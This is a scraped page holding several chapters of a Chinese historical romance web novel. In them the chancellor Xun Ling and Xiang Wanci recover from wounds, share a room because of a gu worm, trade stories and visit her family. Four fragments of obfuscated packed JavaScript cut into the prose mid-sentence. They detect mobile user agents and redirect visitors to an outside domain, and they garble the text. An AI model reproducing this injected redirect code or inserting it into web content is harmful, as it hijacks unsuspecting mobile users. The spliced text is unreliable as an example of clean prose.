d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127958|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对身体损害很大。” “我能忍的,不用吃止疼药。倒是你,你的伤可比我严重多了,能这么忍着不吃止疼药吗?” “能。” “你可真厉害,刚才卢大夫给你处理伤的时候,你都不避开,不怕吗?” “伤已经在身上了,怕也无用。” “能暂时逃避一下也好啊。” “我不需要。” “好吧,看来逃避、软弱跟你没多大关系了。” “你不软弱,事来了也不逃避。” “啊?我逃避的啊,刚刚拔剑的时候我就逃避了啊,都不敢看。” “杀手刺杀我的时候,你没逃避。短剑刺过来的时候,你也没有。” “杀手要杀的是你,我不逃也没多大问题。那短剑是冲着你去的,我当然也不用逃。要是冲着我来的,我肯定会逃的,我很怕死的,还不想死呢。” 见她理直气壮地说自己怕死,荀令笑了一下,不再说话,继续吃饭。向晚词也不说了,抽着气把饭吃完了。 吃过饭后,荀令开始处理公事。尽管称病不朝,他需要处理的公事一点也没少。一大堆公文堆在案上,都是要等他处理的。他向来习惯晚上办公,公文都是晚上看的。 荀令在那看公文,向晚词就在旁边看书。两人并排而坐,离得很近,虽然没有卢大夫说的一掌宽那么近,但也很近了,与同窗读书的学堂学子差不多。 荀令让人从藏书楼里拿了一些乐谱孤本给她。藏书楼里许多藏书都是翰林院已故郑学士送给荀令的,都是外间难寻的珍本,宫中都没有,国子监就更没有了。 看到了这些孤本,向晚词非常高兴,马上仔细看起来。看着看着,她忍不住去拿旁边的纸笔,要把乐谱抄下来。 荀令截住了她拿纸笔的手,淡淡地问:“你要用受伤的右手抄书?” “哎呀,我习惯用右手了,就用右手去拿纸笔了。我可以换左手抄的,这是可以抄的吗?” “可以,你能用左手抄?” “能啊,我本来就是用左手的。娘说还是要学会用右手,免得以后不方便,才让我用右手的。” 荀令放开她,说:“你还真是三句不离娘。” 闻言,向晚词有些不好意思,也不知道该怎么回答,就拿过纸笔开始抄谱。 荀令看了一会儿,见她左手写出来的是比雁体更轩腾夭矫的飞鸿体,不由说:“你的雁体不如飞鸿体,为什么不用这个?” 向晚词一边抄,一边答:“练字也是要时间的,雁体用得多,我得多练多用雁体,就不能多用飞鸿体了。” “因为那群俗人就喜欢雁体?” “那些人俗不俗我不知道,反正用雁体抄经有人买,用飞鸿体抄没人要的。” “四贯钱抄一卷经,太贱价了。” “其实是两贯,负责送经文的静心师傅要得两贯。” “她倒是会赚钱,跑一趟就赚走了一半。” “没有她,我也接不到那么多抄经的活,分给她是应该的。” “你知道王驸马的字卖多少?” “王驸马?是溱城公主的那个驸马吗?” 听到溱城公主,荀令的脸上掠过一丝显而易见的阴霾和杀意,与平时的云淡风轻大相径庭。 11. 天水步洎汨晚虚 向晚词正低头抄谱,根本没注意到他一闪而过的神情。 “是。” “他的字一字上百两,也是雁体,写得谄媚庸俗,不是飞行在天的大雁,是掉在水里的死雁。” 听到这种形容,向晚词手一抖,涂坏了几个字。她顾不上收拾,抬头看向荀令,说:“王驸马的字我见过,不至于是死雁吧,倒有点像困雁、哀雁,给我种哀莫大于心死、形容枯槁的感觉,没多少活人气。” 闻言,荀令一怔,随即道:“能从字上看出这些来,你倒是他的知己。” “咦,还真是这样?我还以为是我瞎感觉的。他是天眷国有名的美男子,又是探花出身,相貌学问都是顶好的,居然心如死灰,是什么原因?难道是因为驸马?做了驸马,就只能做个闲官了,才华再高也没法施展。还是他不喜欢溱城公主?听说那溱城公主是皇室第一美人,如今年过四十依旧艳冠京城,他不喜欢公主吗?” 荀令语声平淡:“你就没听闻别的?” 向晚词停笔,小声说:“你是说公主喜欢找情人的事吗?我是听人说过一些,可传得太离谱了,我不太相信。” “你听说的是什么?” “溱城公主特别喜欢美男子,只要看中了就会想方设法弄到手,连当今的皇帝都曾经被她看上过。这我不太信,他们是亲姑侄,怎么可能?” 荀令冷笑一声,道:“姑侄又如何,那女人怎会顾忌这些?她连自己的哥哥都勾搭过,又怎会在乎姑侄?她倒是想,只是那位陛下不愿,她没能得手。” 啪嗒一声,向晚词手里的笔掉了下去,墨涂在纸上,毁了抄了一半的谱。她根本没注意这个,震惊地望着荀令。荀令依旧在看公文,不时提笔批一下。 许久之后,向晚词才捡起笔,换了一张纸,喃喃道:“看来史书上写的都是真的,齐襄公和齐姜,卫宣公和宣姜……皇室可真叫人大开眼界。” 荀令瞥了她一眼,淡淡道:“你以为皇室是什么干净所在?当今太后在宫里不知养了多少面首,先帝晏驾当天,她就在寝宫中与三个男人私会,一夜未眠。如今她更是公然留面首在后宫长住。当今陛下在登基当天,就把自己还活着的四个兄弟召进宫中施了宫刑。他以为自己做得很隐秘,被阉的四人绝不会把如此奇耻大辱说出去,不会有多少人知晓,其实该知道的都知道了。皇室,最是藏污纳垢。” 此言一出,向晚词听得目瞪口呆,不由追问:“你说什么?” 荀令头也不抬,一边批公文,一边重复刚才的话。 终于确定自己没听错,向晚词一时无言,找不出话来说。良久,她干脆不说了,提笔去抄谱。 荀令等了半天,见她去抄谱了,不由笑了一声,道:“吓到了?” 向晚词的笔停住了,想了半天,她都找不出能回答的话,只好说:“我不知道说什么。” “所谓天潢贵胄、世家大族,自以为高贵,其实不外如是。” “那个,”向晚词回忆了一下,“那个苻尚书也是这样吗?” “苻玚?他倒有些本事,为人也还算过得去,没这些事,怎会问起他?” “我见过他夫人,我觉得他夫人很好,也很厉害,希望她相公不是那样的。” “风华?那女人比苻玚厉害几分,可惜生在天眷国,不能为官。你在何处见过她?” “广华寺。那是六年前的事了,那时我在给静心师傅抄碑,她看到了,就问我愿不愿意给她抄经。我给她抄了,她就给了我一百两。其他官宦女眷听说我给她抄过经,才来找我抄经的。多亏了她,我才能靠这个赚钱的。不过我给她抄经用的是飞鸿体,给其他人抄都是雁体。雁体可真是受欢迎,其他体都被压了下去。” “先帝喜雁体,当今皇上为表孝心,也推崇雁体,底下的人自然趋之若鹜。” “那先帝为什么喜欢雁体?”向晚词凑近少许,放低声音,“我觉得雁体与其他几个大家的字比起来不算太出众。” “据说先帝曾经喜欢过一个东恒国的美人,那个美人擅长雁体,他爱屋及乌,就对雁体另眼相看。那美人也擅长胡乐,犹擅胡笳。” “哦,怪不得先帝总是要挑选擅长胡乐的秀女,连从边塞来的秀女都不放过。” 闻言,荀令略一思忖,便说:“因为你母亲是边塞来的,所以当年先帝选秀你才有名额?” “是啊,本来我爹只是七品,五品以上的官员之女才要选秀女,我用不着选的。可是户部的人说父母之中有一方祖籍在边塞的,不受品级限制。我娘是云门关的,所以我也要去选了。” “想不想去云门关看看?” “想啊,娘一直跟我说起那里,我和爹都想去。可是娘身体不好,那里环境不好,去了会影响娘身体的。” “等让叶神医给你母亲治过后,你们一家就可以马上去了。” “什么时候去都无所谓,能先治好娘就好了。可是现在这蛊虫闹得,都不知道什么时候才能解决了。” 向晚词叹了口气。 “想快点解决,就多近距离接触。” 听到这话,向晚词僵了一下,问:“都这么近了,还要怎么近?” 荀令放下笔,望向她,道:“除了近,还要长时间。” 闻言,向晚词不说话了,止不住接连叹气。 荀令轻笑一声,问:“跟我长时间接触很难受?” 这是不是就是娘说过的送命题,向晚词一下子打起精神来,小心翼翼地回答:“没有没有,我只是不习惯,我都是一个人睡的。” 荀令不再追问,把最后一份公文批完,说:“我让人搬了两张床进来放在一起,中间隔了床帐,你要选哪边?” “啊?” 荀令重复了一遍。 向晚词苦着脸,心里嘀咕,我哪边都不想选,嘴上说:“都一样,随便。” 说完,她干脆不再想什么,继续去抄谱了。荀令也专心批公文,不再说话。一个多时辰后,荀令把公文批完,向晚词也已经抄好了许多谱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127959|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这里面有好些都是她从未见过的,抄得她跃跃欲试,很想试弹一下,可惜伤了右手弹不了。 荀令拿起她抄好的谱看,见里面有首曲子甚是奇妙,也有些手痒。他伤比向晚词重,手却没受伤,还能弹。 “琴在那边的书桌上,去拿来。” “你要弹吗?可是你受伤了。” “我没伤到手,伤到手的是你。” “好吧。” 向晚词把琴拿来,荀令当即试弹,她坐在一旁听。荀令琴艺绝佳,不过总是弹琴自娱,向来很少在人前弹奏,也就几个关系亲近的好友能在旁听他的琴。 琴音起了没多久,向晚词略略皱眉,荀令的眉比她更早皱起。他按住琴弦,止住余音。 “果然,受伤了弹不了琴。即便没伤到手,也没有足够的气力和精力去弹,弹出来的音软绵绵的。”向晚词叹气。 荀令淡声道:“让没受伤的人来弹就是了。” 于是,大半夜才回来的吴代就被荀令找去了。 “什么,就为了听琴,你大半夜把我找来?延之,你受伤了还不好好休息?这么折腾?早知道你这么有精神,我就来探病了。”听到荀令的要求,吴代很是无奈,苦笑着说。 向晚词好奇地打量着他。眼前这人看上去很年轻,就像是十几岁的少年人,然而他是荀令的好友,自然不可能才十几岁。 “我受伤了,弹不了,你没有。”荀令的语气虽淡,却有一种毫不心虚的理直气壮。 吴代翻了个白眼,懒得跟他掰扯,干脆坐下去弹。与其缠夹不清,不如早点弹完走人。 他的琴艺也很是了得,不然也不会被荀令专门找来弹琴。决定要弹后,他就收摄心神,专心致志地弹起来。 他刚弹没一会儿,就被荀令皱着眉打断了。 “不行。” 听到这个评语,吴代又翻了个白眼,说:“你自己弹不了,我弹的你又嫌弃,要怎样?” 荀令不理他,转头问向晚词:“如何?” 向晚词看看吴代,斟酌了一下,说:“尚可。” 荀令皱眉说:“直接点。” 向晚词破罐子破摔,干脆说:“好吧,就是不行。” 吴代一口气憋在胸口里,忍了一会儿,才说:“不行就不要大半夜把我叫来。” 说罢,他站起来就走,再也不想留在这里听人埋汰自己。 两人看着他离去,一言不发。许久后,荀令忽然笑了一声。他一笑,向晚词也忍不住笑出来了。房间里满是笑,如同黑夜里的明灯,照亮了心扉。 笑过之后,两人就各自去洗漱了。洗漱的时候,向晚词本来已经淡去的紧张又钻了出来。洗漱完了后,她已经完全处于紧张状态了。磨磨蹭蹭半天,她才去了荀令的房间。 荀令早就洗漱好了,正斜靠在床上看书。他选了靠墙的床,那床不大,床边挂了床帐,旁边就是另一张床。 听到声响,荀令抬头,就看见她走进来,正在犹犹豫豫地关门。 12. 天水步泊泪晚虚 见此情状,荀令就知道她是在紧张,他也不说破,只是问:“要不要熄灯?” “要,要。”向晚词忙不迭说,这要是亮着灯太尴尬了,还不如黑灯瞎火,谁也看不见谁好。 “你去熄。” “哦。” 向晚词仔细看了看周围的布局,记住之后就去把灯熄了,摸黑走到床边坐下。 熄灯之后,眼睛看不见了,耳朵就不自觉灵敏起来,任何一点声响都能被听到。向晚词尽量放轻手脚,又轻又慢地把帷帽面纱摘掉,又脱了衣服,轻轻躺到床上去,闭上眼睛。 旁边就是床帐,床帐那边正躺着一个男人,她名义上的相公。一想到这个,向晚词就睡意全无,脑海中各种念头纷至沓来,让她比白天还精神。 荀令也睡不着,向晚词不习惯与人同住一房,他更不习惯。有人离他这么近,他也无法安心入睡,总是不自觉警惕起来,以防对方突然发难。 尽管知道旁边这个人不会害他,现在两人的命是系在一起的,对方害他等于害自己,更何况对方还几次出手救了他,但是荀令仍旧放松不下来。多年以来形成的警惕、防备和谨慎,不是一朝一夕可以改变的。 两个人都睡不着,房间里却异常安静,连翻动身体的声音都没有。荀令伤得重,翻身困难,还会牵动伤口,自然不会翻身。向晚词太过紧张,躺在那里僵硬得很,根本没想着要动一动。因为太过紧张,伤口的疼痛倒是减了几分。 不知过了多久,一声轻叹在房中响起。向晚词怎么都睡不着,不由叹了口气。等声音传出,她才发觉,连忙闭嘴,不再出声。 “睡不着?” “……嗯,抱歉,打扰你了。” “我也睡不着。” “是疼的吗?” “不是。” “不会是紧张吧?” “你很紧张?” “是啊。” “我不会对你怎样的。我现在受了重伤,想要对你怎样都不可能。” “……我没觉得你会对我怎样啊。你要对谁怎样,有得是人愿意。我就是不习惯。” “我也不习惯。” “唉,”向晚词忍不住又叹了口气,“早知道就请卢大夫给点安神药了,蒙汗药也行。” “安神药与止疼药一样,久服无益,不能过于依赖。” “行,不吃药,就数羊好了。” “数羊?” “嗯,娘教我的,睡不着就数羊,从一开始数,数到几百只就能睡着了。” “你试过?” “没有,我以前没有睡不着。” “那你确定管用?” “娘说有用就有用。” 荀令呵了一声,问:“你娘说什么你都信?” “信啊,你不信,我现在就数给你看。” 说完,向晚词就开始数羊。 荀令不再开口,听着她数。 “一只羊,两只羊,三只羊……” 春山碧水般的声音在房间里徐徐回荡。 荀令脑海中渐渐出现一片绿野,几只洁白的小羊正站在其中,悠闲自在地吃草。春风吹过,绿草浮动,柔顺的羊毛也随风飘动。他躺在绿草中,阳光照在身上,春风也吹到身上,暖融、和煦、安宁、自在,没有半分疼痛、争斗、猜疑、背叛。 慢慢地,绿野上的羊越来越多。到了一百多只的时候,荀令彻底陷入梦境中,沉沉睡去。房间里的声音逐渐减弱,最后再不可闻。 屋外明月高悬,照亮了大地,却照不醒已入梦乡的人。 —— 花香,向晚词是被花香叫醒的。她在梦中闻到了花香,循香去找,看到了一片莲花,就醒了过来。醒来之后,就闻到了一阵幽淡的莲花香气。睁开眼,外面已是天光大亮。她的床正对着窗子,窗外就是湖,水面上已经有莲花开了,香气就是从外面飘进来的。 一醒来就闻到了莲香,向晚词心情甚好。起床穿衣时,她举止都轻快了许多,伤口的疼也淡了几分。穿好衣服后,她这才想起,房间里不止她一个人,赶忙放轻了动作。 “我已经醒了,你随意。”淡如茶汤的声音从旁边传来。 “哦。” 向晚词应了一声,接着梳头。床边上摆了梳妆台,一应物什都很齐全。向晚词拿起木梳,艰难地单手梳头。花了好一会儿功夫,才勉强把头发梳好,用一根发带扎起。 天眷国的女子无论嫁人与否,都不用把头发盘起。一个女子是否已婚,从发髻上是看不出来的。 梳好头后,向晚词就在窗边洗漱,此处有屏风遮挡,无人能看到。这里也用竹管接了温泉水进来,可以随时取用,很是方便。洗漱完了后,遮好面容,向晚词就走了出去。荀令正坐在书桌旁,看着窗外的莲花。 见她出来了,荀令拉了拉悬铃。很快,卢大夫就进来,给他们一一检查伤势。看过之后,卢大夫嘱咐了几句就离开了。 卢大夫走后,向晚词坐到一旁。没多久就有人来摆早膳,安置屏风。早膳摆好后,两人就开始用膳。 正吃间,白管事在门外禀告:“相爷,二老爷来了。” 闻言,荀令道:“让他去花厅等着。” “是。” 向晚词问:“二老爷?” “我养弟。” “哦。” 吃过早膳后,向晚词两人就去了花厅,荀令是被人用肩舆抬过去的。花厅主位上坐着个锦衣华服的年轻男子,生得很是秀气,却一副纨绔模样。两人进来的时候,他正翘着二郎腿在那嗑瓜子,嘴里还哼着小曲,实在有些吊儿郎当。 见两人进来了,他连忙放下腿,站起身朝荀令扑来,道:“阿兄,听说你受伤了,伤到哪了?严不严重?” 见他扑过来,向晚词眼疾手快,拿起一旁的花灯往荀令面前一放,挡住他扑来的身体。 她一边挡,一边说:“他受伤不轻,经不起你这么一扑。” 闻言,那人立刻收住势头,站好,朝向晚词一拜,道:“这位就是新嫂嫂吧,我是阿兄的弟弟荀呈,请受小弟一拜。” 见他拜自己,向晚词连忙还礼,说:“你别这么叫,怪别扭的。” “那我该怎么叫?” 向晚词一时找不到合适的称呼,不由看向荀令。荀令把脸侧到一边,对她的求助视而不见。 见他装看不见,向晚词悄悄瞪他一眼,又望向荀呈,说:“我姓向,你直接叫我向姑娘就可以了。” “可是你嫁给我阿兄了啊,不是姑娘了。” 向晚词语塞。 见她不答,荀呈又望向荀令,道:“阿兄,这位是我新嫂嫂吧?怎么她不让我叫嫂嫂?难道我认错人了,她不是?” 荀令不答,问:“何事?” “……无事,我来看看阿兄,你受伤了,我来探伤的。” 荀令淡淡道:“我昨日刚受伤,你消息没那么快,是来这里才听说的。你找我有事,怕我不答应,就借口说是来探伤的。” 荀呈不言,额头有豆大的汗滴冒出。 “有事说事。” “是是是,是这样的……我……我……”荀呈扭扭捏捏半天,也没把下文说出来,急得满头大汗。 荀令也不催促,就在那里等着。 向晚词瞧瞧这个,又瞧瞧那个,暗自感叹,这两兄弟之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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向晚词看得目瞪口呆,这么容易上当受伤的吗?哥哥和弟弟之间差距太大了吧。亲儿子这么不靠谱,难怪那荀老爷要重新收养一个儿子了。 “你是不是在想,难怪我养父要收养我?”向晚词正想着,一个声音忽然传入耳中。 向晚词抬眼望去,荀令正望着窗外的莲花,脸隐在晨光里,看不清神情。不知为何,向晚词觉得他不是很高兴,是在介怀被人当做工具利用才收养吗? 向晚词想了想,说:“我觉得不管荀老爷的目的是什么,如果他没伤害你,而是带着某种目的帮助你,这也是帮助。他的目的无外乎就是要你以后帮他照顾他的亲儿子,这也是人之常情吧。无论如何他总给了你帮助,对你有恩,这是撇不开的事实。” “同样的,你也给了他足够的回报。看你弟弟的样子,要不是有你在,说不定早被人骗光家产,甚至家破人亡了。你保住了荀老爷的亲儿子,完成了他的愿望,也对得起他了。这桩收养和被收养的关系中,其实对双方都是有利的。” “现在荀老爷和荀老夫人都过世了,不会再出现在你面前了,已经是过去的人了。对自己好的人,不妨多想想。让自己不高兴的人,能忘的就忘了吧。娘说过,一直记着让自己不高兴的人,其实也是在自我伤害,忘掉他们,才能放过自己。” 沉默,长久的沉默。 良久之后,荀令才开口:“你离了娘,是不是就不会说话了?” 向晚词瞪了他一眼,有些恼怒地说:“我才不会离了娘,你爱听不听,我不说了。” 见她生气了,荀令笑了一声,回过头来望着她。晨光里,他的神色异常柔和,像清晨初开的清幽白莲,风华淡淡,甚是好看。 “你不会离了娘的,很快,你就能回到娘身边了。” 听到这话,向晚词顿时眉目舒展,心情立刻好起来,开心地应了一声。 荀令又是一声笑,还真是个很好哄的姑娘。 荀呈走后,两人回了洞天院。二人都在养病,除了看书也没多少能做的事。看起书来,时间就过得很快,不知不觉又到了晚上的就寝时间。 13. 天水步泊汨晩虚 有了第一天的经验,今晚向晚词就放松了些许。躺到床上后,也会偶尔翻动一下啦。 荀令没她这么好运,他的伤势注定他只能以一个姿势躺着,不能翻动。他闭目静卧,忍耐着。 向晚词只能听到他清浅的呼吸,除此之外就没别的了。一开始她还没反应过来,以为他睡觉向来如此,后来才想起他不能随便动。想起这事来后,向晚词不由为他感到难过,一直用一个姿势躺着是很难受的。 有什么能减轻一下这样的感觉? 向晚词想了一会儿,就想起小时候自己生病时,娘就会给自己讲故事。她听着故事,难受的感觉就淡了很多,病也好得快些。 想到这个,向晚词轻声问:“要不要听故事?” “什么故事?” “游侠,不,应该叫武侠故事。先声明,是我娘讲给我听的,你要听的话,不许说我娘。” “讲。” “有个叫杨过的小孩子,他父亲是个认贼作父、卖国求荣、恩将仇报的坏胚,害人不成反受其害,自己把自己弄死了。他生下来没多久母亲就死了,他就成了小乞儿,在江湖上流浪。后来他遇到了父亲的结义兄弟郭伯伯,把他带回去抚养。” “因为他父亲害了很多人,大家都对他有戒心,怕他将来也会像他父亲那样。郭伯伯的妻子郭伯母就不愿教他武艺,只教他读书明理。他很聪明,又很敏感,察觉到了大家对他的排斥敌意,就跟他们起了冲突。” “郭伯伯不知道该怎么教他才好,就把他送到全真教去学武。全真教的道士不好好教他,反而欺压凌辱他,他忍受不了,就逃走了,逃到了隔壁古墓派去。然后,他就遇到了他的师父、姑姑、他的一生挚爱、他的妻子小龙女……” “小龙女生性冷淡,对生死都不甚在意。她并不想救杨过,但是从小照顾她长大的孙婆婆对杨过很怜悯同情,一力维护他,甚至为了保护他而死。孙婆婆临死前,托小龙女照顾杨过,小龙女就答应了,所以才收杨过为徒,还说如果自己要死了,会先杀死杨过,免得她死之后,照顾不了杨过,违背了对孙婆婆的诺言。” …… 荀令静静听着,她的语速不快,声音轻缓,娓娓道来,如涓涓清泉,徐徐流入他耳中。 听着听着,荀令睡意沉沉,渐渐睡去。 —— 第三夜,躺到床上后,没等向晚词开口,荀令就问:“接下来如何?” 向晚词反应了一会儿,才明白他说的是那个故事,接着讲。 荀令继续静听,再次在这声音中睡去。 第四夜、第五夜…… 直至第二十四夜,向晚词才把这个故事讲完。 讲完的时候,荀令还未睡。听完这个孤儿的故事后,他沉默了许久,才开口问:“那个孙婆婆与杨过素昧平生,为什么会舍命保护他?” “这问题我也问过娘,为什么孙婆婆愿意为了第一次见面的陌生人舍命?” “你娘怎么说?” “她说这就是‘侠’。孙婆婆瞧不惯全真教的道士欺压一个小孤儿,就路见不平拔刀相助,不图钱不图名,为了管不平事,甘愿舍生忘死、抛洒热血。练武的人只有有了这样的侠义精神,才能称作侠士,不然最多只能叫高手,不能叫大侠。像来杀你的那个杀手,他武功再高,也只是杀手,不是侠。” “你娘为什么会给你讲这种故事?” “为什么?”向晚词想了许久,“大概是她想让我也有点这样的侠气吧。可惜我没什么本事,当不了侠士。” 那边传来一声轻笑。 “你当过侠士了。” “嗯?” “那日,你伸手去挡短剑时,很侠士。” “那算吗?” “算。” “那我要说给娘听,我也算当过一回侠士了。” “不怕她担心了?” “对啊,那我还是不说了,做个深藏功与名的侠士好了。” 荀令又是一声笑。 黑夜里,这声笑异常清晰,也异常欢悦,完全不像他会发出的。 听到这笑声,向晚词说:“你最近好像开心多了。” “是吗?” “是啊,笑的次数都比以前多了。” “该睡了。” “哦,晚安。” “晚安。” —— 次日,来找荀令议事的吴代望着他若有所思。 荀令正看着他拿来的公文,头也不抬地问:“何事?” “延之,你有没有发觉,你最近和缓了许多?” “她也这么说。” “还有,你最近总是提起那向家姑娘,说不了几句就要提起。” 没有回答。 吴代摸了摸鼻子,很识趣地闭嘴了。毕竟是好友的妻子,即便只是名义上的,他不愿意说,自己也不好总是提起。等荀令看完公文,两人又商议了一阵,吴代就走了。 等他走后,避到隔壁的向晚词才过来了。这些日子,只要有人来找荀令议事,她就会回避。她不想知道太多,知道太多的人总会有许多不必要的危险。 她进来后,荀令把抽屉里的一张纸拿出来递给她,向晚词接过去看。纸上面画了一个十分俊秀的少年人,飞扬跳脱,还有些狡猾机诈,眼角眉梢又带着些许悲苦积郁、自怜自伤。 一看到这人,向晚词就说:“是杨过。” “如何?” “和我想象的杨过差不多,不过苦了那么一点。” “他本来就很苦。” “这是他还没去全真教的时候吧,那个时候还没那么苦啦。” “你觉得他什么时候最苦?” “应该是得知妻子小龙女已死,跳崖殉情的时候吧。” 说到这里向晚词的声音都低沉了几分。 “我小时候听到这里时,总不愿意再听下去。” 荀令伸手,把她拉到身边坐下,低声问:“为何后来又愿意听了?” 向晚词坐下来,把纸放在桌上,说:“我总想知道他们的结局啊,如果活着的时候不能团聚,死了魂归一处,也算团圆了吧。好在写书人没那么狠心,最后还是让他们在崖底团圆了。” 说到这里,她语声轻快了些许,望着荀令,说:“要不再画一幅他们团圆的画吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142278|180139||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 荀令没说话,拿过旁边的纸就开始画,没多久就画出了杨过和小龙女崖底重逢的场景。画完之后,他把笔递给向晚词。她接过去,想了一会儿,在旁边提了五个字:死生亦相守。 看见那五个字,荀令默然不语。 过了一会儿,荀令说:“明日要出去,会路过未央街。” 闻言,向晚词啊了一声,立刻坐直身子,抓着他的衣袖说:“那我是不是可以回家了?” “可以,明日你父亲也休沐在家。” “太好了!”向晚词笑得眼睛都眯起来了。这些天她都不能回去,只能派人送信回家告知父母,自己不小心受了伤,要养一段时间才能回家。 高兴了一会儿,向晚词才望向荀令,有些迟疑地说:“可是,你……” “我不进去,就在外面,记得别离太远。” “未央街上人很多的。” “你怕又有刺客?” “买凶杀你的人没准会再下手的。” “我会处理的。” “哦,那好吧。” —— 第三日,两人吃过早膳就出门。经过这些天的治疗,荀令的伤已经好了许多,寻常乘坐马车也无妨了。向晚词的手也好了许多,能稍微拿些轻的东西了。 马车到未央街的时候,天刚刚亮,街上行人很少。向晚词等不及人掀帘子,就自己掀开出去了。从马车上下去后,她就迫不及待地朝家里快步走去。 荀令坐在马车上,看着她像一只归家的鸟儿般远去,目光幽深。走了一半,向晚词停下,折回来,走到马车边。 荀令稍稍探出些许身体,问:“何事?” 向晚词看着他,小声说:“要不,你跟我一起进去吧?在里面总比外面安全些。” 荀令眸光一动,问:“你不怕你爹娘见到我不自在?” 向晚词纠结了一瞬,才说:“这个宅子也不止一间屋子的,你进去了可以在别的屋子里待着。他们瞧不见你,就不会不自在了。” 荀令淡淡地问:“这算什么?隔屋藏婿?” 听到这话,向晚词有些羞恼,离远一些,说:“不去就算了。” 说罢,她就要转身走人,才一转身,袖子就被人拉住了。她回头,袖子已经被放开了,荀令正扶着马车门,准备下来。她忙上前两步,扶住他的手,搀着他慢慢下来。 向谦赶早去买菜,一出门就看到了女儿扶着丞相朝自家门口走来了,他一个手抖,差点连菜篮子都没拿稳。他连忙拿稳篮子,闭眼又睁眼,发现自己没眼花,开口唤道:“小词。” 向晚词抬头,就看到了多日未见的父亲,抬手朝他挥挥,开心地说:“爹,我回来了。” 她挥的是没有扶住荀令的右手,因为高兴,挥动的幅度大了点,牵动伤口,手一滞,不由轻吸了口气。 向谦一惊,赶忙上前来。等他到两人面前时,荀令已经拉着向晚词的手在检查了。向晚词顾不上看伤,就看着自家爹爹。等他过来了,就问:“爹,娘最近怎么样了?春和堂的孙大夫开的药,娘吃得惯吗?” 向谦眼睛盯着荀令的手,目光一动不动。 14. 天水步泊汨晚虛 作话: 上一章新增了快两千字,追文的宝可以重看一下。 —— 他嘴里回道:“好,好,她都好,药吃得惯,就是总是挂念你,你回来了就好。” 说话间,荀令已经检查完了,拉好袖子盖住了她的伤。 向谦这才移开目光,朝荀令脸上望去。二人对视一眼,荀令目光平淡,向谦略显复杂。片刻之后,向谦开口了:“丞相大人。” “向大人。” 这就算打过招呼了,向谦又看向女儿,问:“小词,你的手怎样了?” “没大事,过阵子就好了。” 向晚词一边答,一边看向谦手里的篮子,说:“爹,你去买菜啊。” “是,你……们要在家吃饭吗?” 闻言,向晚词望向荀令,荀令点头,向晚词就说:“要的,爹你去吧,我们自己进去。” 向谦点头,提着篮子,十分复杂地看着女儿和丞相进了门,这才转身去买菜。 进了门,向晚词先扶着荀令去了她的屋子。等他坐下后,她就去找茶。她家自然没什么名贵的茶,就只有家里自己做的茶。 向晚词找了几罐出来,放在他面前,问:“要喝哪个?” 荀令一一打开闻了闻,指着中间的一罐说:“这个。” “这是我做的荼蘼花茶,今年刚做好的,我都没喝几回呢。” 她拿着东西去了灶房,把茶杯反复洗了几遍,才冲泡好茶端来放在荀令面前。她又拿了些点心过来,一并摆在他面前。放下这些后,她又把窗子打开,找了几本书摆在桌上。 自觉该放的东西都放好了后,向晚词便说:“那我过去啦。” 荀令应了一声,音色比平日暗沉了几分。 向晚词往外走,走了几步,回过头来问:“我能跟爹娘说蛊虫的事吗?” “想说便说。” “哦。” 她出了房间,关好门,就去了爹娘的屋子。屋门虚掩着,她敲了敲门,道:“娘,我回来了。” 房间里静了一瞬,下一刻,门被打开,向母满脸喜色,上前一把搂住女儿,不断摩挲着,眼眶不觉有些湿润。自生下女儿以来,她从来没有这么长时间没见到女儿,实在想得紧。 向晚词也顾不上伤,抱着娘,声音有些哽咽:“娘,我好想你。” 母女俩在房门处搂成一团,一时间忘了进门。许久之后,向母才拉着女儿往里走,嘴里不断问着这些天来的情况,向晚词一一说了,把蛊虫的事也说了。 向母听得又惊又忧又怕,拉着女儿受伤的手左看右看。伤口已经被包扎起来了,她当然看不出什么来。看了半晌,她长长叹气,说:“权臣家里果然是非多,这杀手都杀上门了。” “是啊,那杀手武功好高,我都看不清他怎么出手的。不过还好荀府的暗卫武功也很高,高手对高手,正好。” “……幺儿,你觉得那荀丞相如何?” “很厉害啊,杀手杀他的时候,他都不带怕的,全程都冷静得很呢。” “不是,我是说……你觉得他这个人如何?” “人?没有想象中的那么难相处,是可以讲理的。” “还有呢?” “字写得好,画画得好,琴也弹得很好,人也很聪明,长得也很好。” “还有什么?” “很喜欢乐曲。” 见女儿回答来回答去,都没回答到自己想问的地方,向母放下心来。女儿这样,就是没有她担忧的事发生。 弄明白这点后,她稍稍松了口气,又问:“那个蛊虫到现在还没取出来?” “是啊,卢大夫说可能还要些时日。” “这些天你们一直都睡在一起?” “没有睡在一起啦,中间还隔着床帐呢。” “那荀丞相……没有看到你的容貌吧?” “没有。” 